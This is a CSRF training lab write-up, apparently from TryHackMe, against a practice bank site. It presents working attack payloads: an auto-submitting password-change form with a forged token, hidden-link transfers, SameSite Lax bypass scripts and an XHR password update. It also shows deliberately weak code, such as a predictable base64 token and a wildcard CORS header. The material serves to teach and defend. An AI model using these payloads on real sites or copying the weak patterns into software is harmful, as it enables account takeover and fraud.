Cross-site request forgery (CSRF)

What is CSRF?

CSRF is a type of security vulnerability where an attacker tricks a user's web browser into performing an unwanted action on a trusted site where the user is authenticated. This is achieved by exploiting the fact that the browser includes any relevant cookies (credentials) automatically, allowing the attacker to forge and submit unauthorised requests on behalf of the user (through the browser). The attacker's website may contain HTML forms or JavaScript code that is intended to send queries to the targeted web application.

Cycle of CSRF

A CSRF attack has three essential phases:

phases of csrf

Effects of CSRF

Understanding CSRF's impact is crucial for keeping online activities secure. Although CSRF attacks don't directly expose user data, they can still cause harm by changing passwords and email addresses or making financial transactions. The risks associated with CSRF include:

Understanding these risks is essential for implementing effective measures to protect web applications from CSRF vulnerabilities.

Types of CSRF

Traditional CSRF

Conventional CSRF attacks frequently concentrate on state-changing actions carried out by submitting forms. The victim is tricked into submitting a form without realising the associated data like cookies, URL parameters, etc. The victim's web browser sends an HTTP request to a web application form where the victim has already been authenticated. These forms are made to transfer money, modify account information, or alter an email address.

traditional csrf

The above diagram shows traditional CSRF examples in the following steps:

XMLHttpRequest CSRF

An asynchronous CSRF exploitation occurs when operations are initiated without a complete page request-response cycle. This is typical of contemporary online apps that leverage asynchronous server communication (via XMLHttpRequest or the Fetch API) and JavaScript to produce more dynamic user interfaces. These attacks use asynchronous calls instead of the more conventional form submissions. Still, they exploit the same trust relationship between the user and the online service.

Consider an online email client, for instance, where users may change their email preferences without reloading the page. If this online application is CSRF-vulnerable, a hacker might create a fake asynchronous HTTP request, usually a POST request, and alter the victim's email preferences, forwarding all their correspondence to a malicious address.

The following is a simplified overview of the steps that an asynchronous CSRF attack could take:

Flash-based CSRF

The term "Flash-based CSRF" describes the technique of conducting a CSRF attack by taking advantage of flaws in Adobe Flash Player components. Internet applications with features like interactive content, video streaming, and intricate animationsflash based csrf have been made possible with Flash. But over time, security flaws in Flash, particularly those that can be used to launch CSRF attacks, have become a major source of worry. As HTML5 technology advanced and security flaws multiplied, official support for Adobe Flash Player ceased on December 31, 2020.

Even though Flash is no longer supported, a talk about Flash-based cross-site request forgery threats is instructive, particularly for legacy systems that still rely on antiquated technologies. A malicious Flash file (.swf) posted on the attacker's website would typically send unauthorised requests to other websites to carry out Flash-based CSRF attacks.

Basic CSRF - Hidden Linke/Image Exploitation

Overview

A covert technique known as hidden link/image exploitation in CSRF involves an attacker inserting a 0x0 pixel image or a link into a webpage that is nearly undetectable to the user. Typically, the src or href element of the image is set to a destination URL intended to act on the user's behalf without the user's awareness. It takes benefit of the fact that the user's browser transfers credentials like cookies automatically.

<!-- Website --> 
<a href="https://mybank.thm/transfer.php" target="_blank">Click Here</a>  
<!-- User visits attacker's website while authenticated -->

This technique preys on authenticated sessions and utilises a social engineering approach when a user may inadvertently perform operations on a different website while still logged in.Josh with money briefcase

How it Works

Now, you are already connected to the VM. Let's see how the attack works.

<?php 
<form action="transfer.php" method="post">

    <label for="to_account">To Account:</label>
    <input type="text" id="to_account" name="to_account" required>

    <label for="amount">Amount:</label>
    <input type="number" id="amount" name="amount" required>

    <button type="submit">Transfer</button>
</form>

email screenshot

<a href="http://mybank.thm:8080/dashboard.php?to_account=GB82MYBANK5698&amount=1000" target="_blank">Click Here to Redeem</a>

successful transfer of funds

What was the missing link?

All the validations are correct and accurate; however, the server is not validating if the request comes from a legitimate user.

Securing the Breach

<form method="post" action="">
        <label for="password">Password:</label>
        <input type="password" id="password" name="current_password" required>

        <label for="confirm_password">ConfirmPassword:</label>
        <input type="password" id="confirm_password" name="confirm_password" required>
		<input type="hidden" id="csrf_token" name="csrf_token" value="<?php echo $_COOKIE['csrf-token']; ?>">
        <button type="submit" name="password_submit" >Update Password</button>
    </form>submit">
</form> 

email screenshot

CSRF detection while funds transfer

Double Submit Cookie Bypass

Overview

We've observed that without CSRF tokens, the bank web application was susceptible to vulnerabilities, exposing it to potential exploitation. However, the introduction of CSRF tokens significantly enhances security measures.

A CSRF token is a unique, unpredictable value associated with a user's session, ensuring each request comes from a legitimate source. One effective implementation is the Double Submit Cookies technique, where a cookie value corresponds to a value in a hidden form field. When the server receives a request, it checks that the cookie value matches the form field value, providing an additional layer of verification.

How it works

Possible Vulnerable Scenarios

Despite its effectiveness, it's crucial to acknowledge that hackers are persistent and have identified various methods to bypass Double Submit Cookies:

In this task, we will use one of the above techniques to bypass a variant of the Double Submit cookie technique.

How it Works

Now, we will see how the attack works, connecting it to the previous example. This technique will chain two vulnerable scenarios by reversing token generation and injecting a cookie through an attacker-controlled subdomain.

<form method="post" action="">
        <label for="password">Password:</label>
        <input type="password" id="password" name="new_password" required>

        <label for="confirm_password">ConfirmPassword:</label>
        <input type="password" id="confirm_password" name="confirm_password" required>
		<input type="hidden" id="csrf_token" name="csrf_token" value="<?php echo $_COOKIE['csrf-token']; ?>">
        <button type="submit" name="password_submit" >Update Password</button>
    </form>submit">
</form> 

csrf-token cookie in chrome

Click to enlarge the image.

reversing the token through cyber chef

Preparing Payload

email screenshot

<form method="post" action="http://mybank.thm:8080//changepassword.php" id="autos">
        <label for="password">Password:</label>
        <input type="password" id="password" name="current_password" value="<?php echo "GB82MYBANK5697" ?>" required>

        <label for="confirm_password">ConfirmPassword:</label>
        <input type="password" id="confirm_password" name="confirm_password" value="Attacker Unique Password" required>
		<input type="hidden" id="csrf_token" name="csrf_token" value="Decrypted Token Value">
		

        <button type="submit" name="password_submit"  id="password_submit" >Update Password</button>
    </form>
	
	</div>
<script>
document.getElementById('password_submit').click(); 
</script>
        

selected email screenshot

<?php
...
setcookie(
    'csrf-token',               
    base64_encode("GB82MYBANK5699"),            
    [
        'expires' => time() + (365 * 24 * 60 * 60), 
        'path' => '/',                         
        'domain' => 'mybank.thm',                          
        'secure' => false,                      
        'httponly' => false,                 
        'samesite' => 'Lax' 
    ]
);
?>
<?php
if (base64_decode($_POST["csrf_token"]) == base64_decode($_COOKIE['csrf-token'])) { 
// Retrieve form data
$currentPassword = $_POST["current_password"];
$newPassword = $_POST["confirm_password"];
// Update Password
...;

successful password update

Note: For ease, the server request headers are displayed on the webpage to understand received cookies and form data.

What was the missing link?

The server-side script correctly validated the user; however, the CSRF token was easy to predict, and therefore, the attacker could launch a crafted CSRF attack.

Securing the Breach

select email screenshot

protected from csrf - invalid attempt

Click to enlarge the image.

Samesite Cookie Bypass

Overview

Let's dive into a crucial defence mechanism known as SameSite cookies. These cookies come with a special attribute designed to control when they are sent along with cross-site requests. Implementing the SameSite cookie property is a reliable safeguard against cross-origin data leaks, CSRF, and XSS attacks. Depending on the request's context, it tells the browser when to transmit the cookie. StrictLax, and None are the three potential values for the attribute.

The most substantial level of protection is offered by setting it to strict, which guarantees that the cookie is only sent if the request comes from the same origin as the cookie. Specific cross-site usage is permitted by lax, such as top-level navigations, which are less likely to raise red flags. None of them need the secure attribute, and all requests made by websites that belong to third parties will send cookies.

Different Types of SameSite Cookiesdifferent type of samesite cookies

The Lax Exploit Adventure

email screenshot

Click to enlarge the image.

<?php
$cookieNames = array_keys($_COOKIE);
if($_COOKIE["logout"] == "xxxxxxx"){
	// Loop through each cookie and delete it
foreach ($cookieNames as $cookieName) {
// If it's desired to kill the session, also delete the session cookie.
session_destroy();
..
...
}

screenshot of email

selected email screenshot

<a href="https://mybank.thm:8080/logout.php" target="_blank">Survey Link!</a>

What was the missing link?

Lax with POST Scenario - Chaining the Exploit

As a pentester, it is important to check the cookies being set by the website. As the cookie set in the last example was Lax, it was possible to logout any user. But the above scenario is possible only with GET requests, and nothing can be done in case of POST requests.

Initially, when the SameSite attribute was introduced to increase web security by restricting how cookies are sent in cross-site requests, Google Chrome and other browsers did not enforce a default behaviour for cookies without a specified SameSite attribute. This meant developers had to explicitly set SameSite=None to allow cookies to be sent in cross-site requests, such as in iframes or third-party content. However, Chrome changed its default behaviour to enhance security and privacy further and better protect against CSRF attacks. If a SameSite attribute is not specified for a cookie, Chrome automatically treats it as SameSite=Lax. This default setting allows cookies to be sent in a first-party context and with top-level navigation GET requests but not in third-party or cross-site requests, thereby balancing usability with increased security measures.

But what if we want to make a POST request? Can we do something? The answer is Yes. As per the official documentation by Chrome:

"Chrome will make an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with non-idempotent (e.g. POST) top-level cross-site requests despite normal SameSite=Lax cookies requiring top-level cross-site requests to have a safe (e.g. GET) HTTP method."

So, any cookie that is not set with SameSite attribute and if the server reads or modifies the cookie will be sent in cross-site request till 2 minutes just like SameSite=None; after 2 minutes, it will be treated as Lax by the browser. We will see how we can exploit this in the following example.

After reviewing the code, we can see that there is an isBanned cookie that is set after logging in. The value of the cookie determines if the user is banned or not and displays him a message if he is banned. Our objective is to change the value of the cookie once the user clicks on the malicious link. Here is the server-side code that performs the validation:

if (!isset($_COOKIE['isBanned'])) { echo('&#60;script&#62;alert("isBanned cookie not found in request");&#60;/script&#62;'); 	exit(); }
if (isset($_POST['isBanned'])) {
	$status=$_POST['isBanned'];
     echo('<script>document.cookie="isBanned='.$status.'";</script>'); 
}

lax plus post test buttons

<script>
function launchAttack(){ setTimeout(function(){bank.submit()},1000)
}
</script>
<form style="display:none" name="bank" 
method=post action="http://mybank.thm:8080/index.php">
<input name="isBanned" value="true">
<input type="submit">
</form>

isbanned cookie not found error

<script>
function launchAttackSuccess(){
let win = window.open("http://mybank.thm:8080/logout.php",'');
setTimeout(function(){win.close();bank.submit()},1000)
}
</script>
<form style="display:none" name="bank" 
method=post action="http://mybank.thm:8080/index.php">
<input name="isBanned" value="true">
<input type="submit">
</form> 

user banned message

Additional

XMLHttpRequest Exploitation

In the context of an AJAX request, CSRF is like someone making your web browser unknowingly send a request to a website where you're logged in. It's as if someone tricked your browser into doing something on a trusted site without your awareness, potentially causing unintended actions or changes in your account. CSRF attacks can still succeed even when AJAX requests are subject to the Same-Origin Policy (SOP), which typically forbids cross-origin requests.

ajax csrf exploitation process

Here's an example of how an attacker can update a password on mybank.thm and send an asynchronous request to update the email seamlessly.

<script>
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'http://mybank.thm/updatepassword', true);
        xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.onreadystatechange = function () {
            if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
                alert("Action executed!");
            }
        };
        xhr.send('action=execute&parameter=value');
    </script>

The XMLHttpRequest in the above code is designed to submit form data to the server and include custom headers. The complete process of sending requests will be seamless as the requests are performed in Javascript using AJAX.

Same Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS) Bypass

CORS and SOP bypass to launch CSRF is like an attacker using a trick to make your web browser send requests to a different website than the one you're on. Under an appropriate CORS policy, certain requests could only be submitted by recognised origins. However, misconfigurations in CORS policies can allow attackers to circumvent these limitations if they rely on origins that the attacker can control or if credentials are included in cross-origin requests.

<?php // Server-side code (PHP)
 header('Access-Control-Allow-Origin: *'); 
// Allow requests from any origin (vulnerable CORS configuration) .
..// code to update email address ?>

This is a simple PHP server-side script that handles the POST request. It has a vulnerable CORS configuration (**Access-Control-Allow-Origin: ***), allowing requests from any origin, and thus is vulnerable to CSRF since it doesn't implement anti-CSRF measures. The usage of **Access-Control-Allow-Origin: *** depends on the specific business use case and requirements. There are scenarios where allowing requests from different origins is necessary and legitimate, such as in public APIs or content distribution networks. However, it's crucial to carefully consider the security implications and ensure that Access-Control-Allow-Credentials is set accordingly to forward credentials only to trusted origins. It's important to note that **Access-Control-Allow-Origin: *** and Access-Control-Allow-Credentials:true cannot be used together due to security restrictions imposed by the CORS specification. You will learn various CORS bypass techniques in a separate room on THM.

Referer Header Bypass

When making an HTTP request, the referer header contains the URL of the last page the user visited before making the current request. Some websites guard against CSRF by only allowing queries if the referer header matches their domain. The utility of this as a stand-alone CSRF protection solution is reduced when this header may be changed or eliminated, as happens with user-installed browser extensions, privacy tools, or meta tags that instruct the browser to omit the Referer.

Now that we have an understanding of various exploitation techniques of CSRF. We will now discuss key mitigation measures to protect from the attack.

Defence Mechanisms

CSRF plays a critical role for pentesters, allowing them to simulate attacks where users unwittingly execute unauthorised actions on trusted websites. By exploiting CSRF vulnerabilities, pentesters can assess the effectiveness of an application's defences against forged requests, identify potential security gaps in session management, and evaluate the robustness of implemented anti-CSRF measures. Following are some of the critical measures that are recommended for pentesters and secure coders.

Pentesters/Red Teamers

Secure Coders